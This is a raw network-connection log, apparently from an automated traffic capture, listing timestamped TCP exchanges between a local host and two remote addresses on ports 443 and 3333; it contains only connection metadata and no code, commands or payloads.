Jun 23, 2024 11:34:16.749749899 CEST	49861	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:16.749861956 CEST	49861	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:16.749875069 CEST	443	49861	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:17.546209097 CEST	443	49861	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:17.548141956 CEST	49861	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:17.548156977 CEST	443	49861	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:17.889556885 CEST	443	49861	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:17.889720917 CEST	443	49861	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:17.889893055 CEST	49861	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:17.890002012 CEST	49861	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:17.890965939 CEST	49862	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:17.890999079 CEST	443	49862	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:17.891069889 CEST	49862	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:17.891334057 CEST	49862	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:17.891347885 CEST	443	49862	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:18.590137959 CEST	443	49862	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:18.591664076 CEST	49862	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:18.591687918 CEST	443	49862	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:18.931818008 CEST	443	49862	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:18.932018042 CEST	443	49862	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:18.932097912 CEST	49862	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:18.932320118 CEST	49862	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:20.130302906 CEST	49863	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:20.130394936 CEST	443	49863	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:20.130475998 CEST	49863	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:20.130698919 CEST	49863	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:20.130736113 CEST	443	49863	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:20.956207037 CEST	443	49863	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:20.957842112 CEST	49863	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:20.957900047 CEST	443	49863	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:21.301021099 CEST	443	49863	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:21.301189899 CEST	443	49863	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:21.301362991 CEST	49863	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:21.301480055 CEST	49863	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:21.302395105 CEST	49864	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:21.302445889 CEST	443	49864	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:21.302537918 CEST	49864	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:21.302759886 CEST	49864	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:21.302792072 CEST	443	49864	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:22.000082016 CEST	443	49864	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:22.001744032 CEST	49864	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:22.001826048 CEST	443	49864	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:22.344120979 CEST	443	49864	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:22.344335079 CEST	443	49864	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:22.344419003 CEST	49864	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:22.344793081 CEST	49864	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:23.534853935 CEST	49865	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:23.534888029 CEST	443	49865	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:23.534951925 CEST	49865	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:23.535175085 CEST	49865	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:23.535192966 CEST	443	49865	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:24.317291975 CEST	443	49865	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:24.318727970 CEST	49865	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:24.318763018 CEST	443	49865	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:24.658763885 CEST	443	49865	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:24.658946991 CEST	443	49865	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:24.659010887 CEST	49865	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:24.659177065 CEST	49865	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:24.660103083 CEST	49866	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:24.660125017 CEST	443	49866	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:24.660196066 CEST	49866	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:24.660403013 CEST	49866	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:24.660413980 CEST	443	49866	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:25.451596975 CEST	443	49866	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:25.453115940 CEST	49866	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:25.453130960 CEST	443	49866	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:25.796442032 CEST	443	49866	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:25.796653986 CEST	443	49866	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:25.796711922 CEST	49866	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:25.796956062 CEST	49866	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:25.982970953 CEST	49867	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:25.983052969 CEST	443	49867	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:25.983181000 CEST	49867	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:25.983401060 CEST	49867	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:25.983422041 CEST	443	49867	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:26.795794964 CEST	443	49867	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:26.797291994 CEST	49867	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:26.797339916 CEST	443	49867	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:27.143788099 CEST	443	49867	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:27.143948078 CEST	443	49867	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:27.144021034 CEST	49867	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:27.144207001 CEST	49867	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:27.145096064 CEST	49868	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:27.145128965 CEST	443	49868	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:27.145207882 CEST	49868	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:27.145391941 CEST	49868	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:27.145406008 CEST	443	49868	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:27.457659006 CEST	3333	49843	141.94.96.71	192.168.2.4
Jun 23, 2024 11:34:27.594254971 CEST	49843	3333	192.168.2.4	141.94.96.71
Jun 23, 2024 11:34:27.930797100 CEST	443	49868	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:27.932256937 CEST	49868	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:27.932276964 CEST	443	49868	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:28.276859045 CEST	443	49868	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:28.277028084 CEST	443	49868	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:28.277086020 CEST	49868	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:28.278331995 CEST	49868	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:29.467581034 CEST	49869	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:29.467672110 CEST	443	49869	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:29.467797995 CEST	49869	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:29.468010902 CEST	49869	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:29.468034983 CEST	443	49869	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:30.253142118 CEST	443	49869	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:30.254605055 CEST	49869	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:30.254677057 CEST	443	49869	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:30.595417976 CEST	443	49869	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:30.595596075 CEST	443	49869	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:30.595724106 CEST	49869	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:30.595874071 CEST	49869	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:30.596745968 CEST	49870	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:30.596796989 CEST	443	49870	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:30.596889019 CEST	49870	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:30.597110033 CEST	49870	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:30.597140074 CEST	443	49870	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:31.293302059 CEST	443	49870	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:31.294871092 CEST	49870	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:31.294964075 CEST	443	49870	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:31.633778095 CEST	443	49870	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:31.633930922 CEST	443	49870	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:31.634121895 CEST	49870	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:31.634258032 CEST	49870	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:32.822282076 CEST	49871	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:32.822319984 CEST	443	49871	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:32.822386026 CEST	49871	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:32.822653055 CEST	49871	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:32.822668076 CEST	443	49871	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:33.523139000 CEST	443	49871	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:33.524521112 CEST	49871	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:33.524533987 CEST	443	49871	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:33.866535902 CEST	443	49871	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:33.866686106 CEST	443	49871	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:33.866750002 CEST	49871	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:33.866967916 CEST	49871	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:33.867913961 CEST	49872	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:33.867993116 CEST	443	49872	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:33.868083954 CEST	49872	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:33.868336916 CEST	49872	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:33.868367910 CEST	443	49872	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:34.653939009 CEST	443	49872	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:34.655591011 CEST	49872	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:34.655654907 CEST	443	49872	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:34.995963097 CEST	443	49872	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:34.996120930 CEST	443	49872	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:34.996288061 CEST	49872	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:34.996459961 CEST	49872	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:35.180888891 CEST	49873	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:35.181006908 CEST	443	49873	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:35.181096077 CEST	49873	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:35.181346893 CEST	49873	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:35.181385994 CEST	443	49873	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:35.884514093 CEST	443	49873	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:35.886022091 CEST	49873	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:35.886107922 CEST	443	49873	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:36.234266996 CEST	443	49873	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:36.234426975 CEST	443	49873	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:36.234608889 CEST	49873	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:36.234692097 CEST	49873	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:36.235611916 CEST	49874	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:36.235666037 CEST	443	49874	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:36.235757113 CEST	49874	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:36.235980988 CEST	49874	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:36.236012936 CEST	443	49874	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:37.057168007 CEST	443	49874	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:37.058641911 CEST	49874	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:37.058725119 CEST	443	49874	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:37.404795885 CEST	443	49874	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:37.404963017 CEST	443	49874	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:37.405051947 CEST	49874	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:37.407605886 CEST	49874	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:37.514556885 CEST	3333	49843	141.94.96.71	192.168.2.4
Jun 23, 2024 11:34:37.594258070 CEST	49843	3333	192.168.2.4	141.94.96.71
Jun 23, 2024 11:34:38.521337032 CEST	49875	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:38.521430016 CEST	443	49875	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:38.521517038 CEST	49875	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:38.521754980 CEST	49875	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:38.521787882 CEST	443	49875	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:39.231041908 CEST	443	49875	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:39.232701063 CEST	49875	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:39.232753038 CEST	443	49875	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:39.574379921 CEST	443	49875	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:39.574534893 CEST	443	49875	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:39.574630022 CEST	49875	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:39.574841022 CEST	49875	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:39.575829029 CEST	49876	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:39.575942993 CEST	443	49876	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:39.576035023 CEST	49876	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:39.576272011 CEST	49876	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:39.576308012 CEST	443	49876	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:40.396605968 CEST	443	49876	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:40.398099899 CEST	49876	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:40.398169994 CEST	443	49876	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:40.944550037 CEST	443	49876	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:40.944753885 CEST	443	49876	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:40.944844007 CEST	49876	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:40.945065022 CEST	49876	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:42.220547915 CEST	49877	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:42.220626116 CEST	443	49877	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:42.220700979 CEST	49877	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:42.220932007 CEST	49877	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:42.220964909 CEST	443	49877	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:43.006153107 CEST	443	49877	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:43.007522106 CEST	49877	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:43.007586956 CEST	443	49877	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:43.349536896 CEST	443	49877	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:43.349620104 CEST	443	49877	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:43.349694014 CEST	49877	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:43.350063086 CEST	49877	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:43.350848913 CEST	49878	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:43.350904942 CEST	443	49878	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:43.350992918 CEST	49878	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:43.351232052 CEST	49878	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:43.351264954 CEST	443	49878	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:44.046514988 CEST	443	49878	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:44.048016071 CEST	49878	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:44.048069954 CEST	443	49878	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:44.390964031 CEST	443	49878	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:44.391115904 CEST	443	49878	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:44.391205072 CEST	49878	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:44.391587019 CEST	49878	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:45.729446888 CEST	49879	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:45.729522943 CEST	443	49879	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:45.729804039 CEST	49879	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:45.730031967 CEST	49879	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:45.730066061 CEST	443	49879	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:46.512216091 CEST	443	49879	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:46.513608932 CEST	49879	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:46.513678074 CEST	443	49879	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:46.856220961 CEST	443	49879	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:46.856381893 CEST	443	49879	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:46.856554031 CEST	49879	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:46.858267069 CEST	49879	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:46.859047890 CEST	49880	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:46.859113932 CEST	443	49880	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:46.859247923 CEST	49880	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:46.859472990 CEST	49880	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:46.859507084 CEST	443	49880	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:47.558887959 CEST	443	49880	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:47.560291052 CEST	49880	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:47.560316086 CEST	443	49880	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:47.911736012 CEST	443	49880	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:47.911909103 CEST	443	49880	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:47.912096024 CEST	49880	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:47.912234068 CEST	49880	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:47.930852890 CEST	3333	49843	141.94.96.71	192.168.2.4
Jun 23, 2024 11:34:47.984955072 CEST	49843	3333	192.168.2.4	141.94.96.71
Jun 23, 2024 11:34:49.072174072 CEST	49881	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:49.072283030 CEST	443	49881	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:49.072423935 CEST	49881	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:49.072633028 CEST	49881	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:49.072655916 CEST	443	49881	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:49.778609037 CEST	443	49881	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:49.780209064 CEST	49881	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:49.780309916 CEST	443	49881	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:50.121787071 CEST	443	49881	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:50.121932030 CEST	443	49881	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:50.122013092 CEST	49881	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:50.122226000 CEST	49881	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:50.123142004 CEST	49882	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:50.123193979 CEST	443	49882	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:50.123276949 CEST	49882	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:50.123508930 CEST	49882	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:50.123536110 CEST	443	49882	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:50.826663971 CEST	443	49882	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:50.828069925 CEST	49882	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:50.828156948 CEST	443	49882	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:51.167448997 CEST	443	49882	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:51.167762995 CEST	443	49882	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:51.167829990 CEST	49882	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:51.168036938 CEST	49882	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:52.251276016 CEST	49883	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:52.251317978 CEST	443	49883	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:52.251394987 CEST	49883	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:52.251610041 CEST	49883	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:52.251627922 CEST	443	49883	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:52.422719955 CEST	3333	49843	141.94.96.71	192.168.2.4
Jun 23, 2024 11:34:52.594218016 CEST	49843	3333	192.168.2.4	141.94.96.71
Jun 23, 2024 11:34:52.957226038 CEST	443	49883	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:52.959341049 CEST	49883	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:52.959424973 CEST	443	49883	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:53.300592899 CEST	443	49883	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:53.300745010 CEST	443	49883	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:53.300832987 CEST	49883	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:53.301131964 CEST	49883	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:53.301944971 CEST	49884	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:53.301995039 CEST	443	49884	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:53.302074909 CEST	49884	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:53.302273989 CEST	49884	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:53.302289009 CEST	443	49884	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:53.998790026 CEST	443	49884	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:54.000314951 CEST	49884	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:54.000358105 CEST	443	49884	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:54.340581894 CEST	443	49884	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:54.340749979 CEST	443	49884	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:54.340814114 CEST	49884	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:54.341059923 CEST	49884	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:55.552200079 CEST	49885	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:55.552289009 CEST	443	49885	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:55.552360058 CEST	49885	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:55.552588940 CEST	49885	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:55.552624941 CEST	443	49885	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:56.341789007 CEST	443	49885	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:56.343276024 CEST	49885	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:56.343338013 CEST	443	49885	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:56.682631016 CEST	443	49885	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:56.682894945 CEST	443	49885	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:56.682960033 CEST	49885	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:56.683053970 CEST	49885	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:56.683887005 CEST	49886	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:56.683942080 CEST	443	49886	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:56.684020996 CEST	49886	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:56.684233904 CEST	49886	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:56.684266090 CEST	443	49886	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:57.478069067 CEST	443	49886	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:57.479537964 CEST	49886	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:57.479598045 CEST	443	49886	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:57.825534105 CEST	443	49886	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:57.825728893 CEST	443	49886	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:57.825808048 CEST	49886	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:57.826025963 CEST	49886	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:59.017365932 CEST	49887	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:59.017461061 CEST	443	49887	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:59.017616034 CEST	49887	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:59.017822027 CEST	49887	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:59.017857075 CEST	443	49887	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:59.728012085 CEST	443	49887	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:59.729469061 CEST	49887	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:59.729526043 CEST	443	49887	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:00.072411060 CEST	443	49887	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:00.072619915 CEST	443	49887	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:00.072690964 CEST	49887	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:00.072839022 CEST	49887	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:00.073687077 CEST	49888	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:35:00.073740959 CEST	443	49888	92.53.96.121	192.168.2.4
Jun 23, 2024 11:35:00.073818922 CEST	49888	443	192.168.2.4	92.53.96.121
